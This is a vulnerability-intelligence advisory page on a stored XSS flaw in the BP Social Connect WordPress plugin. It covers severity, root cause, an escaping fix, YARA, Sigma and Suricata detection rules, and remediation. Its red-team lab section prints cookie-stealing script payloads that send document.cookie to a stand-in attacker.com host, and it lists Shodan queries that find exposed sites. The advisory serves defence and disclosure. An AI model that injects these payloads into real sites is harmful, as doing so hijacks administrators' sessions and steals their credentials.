☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Vibethemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32493

CVE-2025-32493 Cross-Site Scripting in Vibethemes
📅 PUBLISHED: 2025-04-09 17:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32493 is a Stored Cross-Site Scripting (XSS) vulnerability in the BP Social Connect WordPress plugin by VibeThemes, affecting versions up to and including 1.6.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress site. This injected script executes in the context of any user viewing the affected page, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 5.9 (Medium), and no official patch has been released. Given the WordPress ecosystem, this vulnerability poses a significant risk to sites using the plugin for social login functionality.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a supply chain risk, any site that has installed BP Social Connect version 1.6.2 or earlier is potentially compromised. The lack of a patch means site administrators must either develop a custom fix or remove the plugin entirely. The plugin's codebase is not publicly version-controlled on GitHub, increasing the difficulty of tracking updates.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
  • User Interaction (UI): Required (R) – The victim must view the compromised page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means a single injection can affect many users.

Deep Dive & Mechanics

The vulnerability exists in the bp-social-connect plugin's handling of user profile fields or social login metadata. When a user updates their profile or connects via a social network, the plugin stores the input without proper sanitization or output encoding. Specifically, the plugin fails to escape HTML entities in fields such as display name, biography, or custom profile data. When this data is later rendered on a user's profile page or in the WordPress admin area, the injected script executes.

The attack flow:

  1. An attacker with contributor-level access logs into WordPress.
  2. The attacker navigates to their profile page and injects a malicious payload into a vulnerable field (e.g., <script>alert('XSS')</script>).
  3. The plugin stores the payload in the WordPress database.
  4. When an administrator or other user views the attacker's profile, the script executes in their browser.

The root cause is the use of echo or _e() functions without wrapping the output in esc_html() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (bp-social-connect <= 1.6.2):

// In a template file or shortcode handler
echo $user_display_name;

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( $user_display_name );

The vulnerable code directly outputs user-controlled data without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability in a lab environment:

  1. Setup: Install WordPress 6.x with BP Social Connect 1.6.2. Create a contributor user account.
  2. Craft Payload: Use a standard XSS payload, e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
  3. Inject: Log in as the contributor, edit your profile, and paste the payload into a vulnerable field (e.g., "Biographical Info").
  4. Trigger: Log in as an administrator and navigate to the contributor's profile page. The script executes, sending the admin's session cookie to the attacker's server.

Proof-of-Concept (PoC) Code:

<!-- Inject into profile field -->
<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team

To detect exploitation attempts:

  1. Monitor Logs: Look for unusual profile update requests containing <script> tags.
  2. WAF Rules: Block requests with JavaScript event handlers (e.g., onload, onerror) in profile fields.
  3. File Integrity: Monitor for unexpected changes to plugin files.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains containing document.cookie in the query string.
  • Host: Presence of <script> tags in WordPress wp_usermeta table for fields like description or nickname.
  • File: Modified plugin files in /wp-content/plugins/bp-social-connect/ (though unlikely for stored XSS).
  • Log: WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_32493_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in BP Social Connect plugin data"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32493"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $bp_social_connect = "bp-social-connect"
    condition:
        $bp_social_connect and #xss_payload > 0
}

Sigma Rule

title: CVE-2025-32493 BP Social Connect Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts against BP Social Connect plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=bp_social_connect_update_profile'
        cs-request-body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in profile fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32493 BP Social Connect Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=bp_social_connect_update_profile"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable and uninstall the BP Social Connect plugin until a patch is available.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block <script> tags in profile fields.
  3. Long-term: Monitor the plugin's official page for updates. If no patch is released, consider switching to an alternative social login plugin.
  4. Code Fix: If you must keep the plugin, manually patch the vulnerable files by wrapping all user-controlled output with esc_html() or wp_kses().

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"BP Social Connect"
http.html:"bp-social-connect"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32493/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.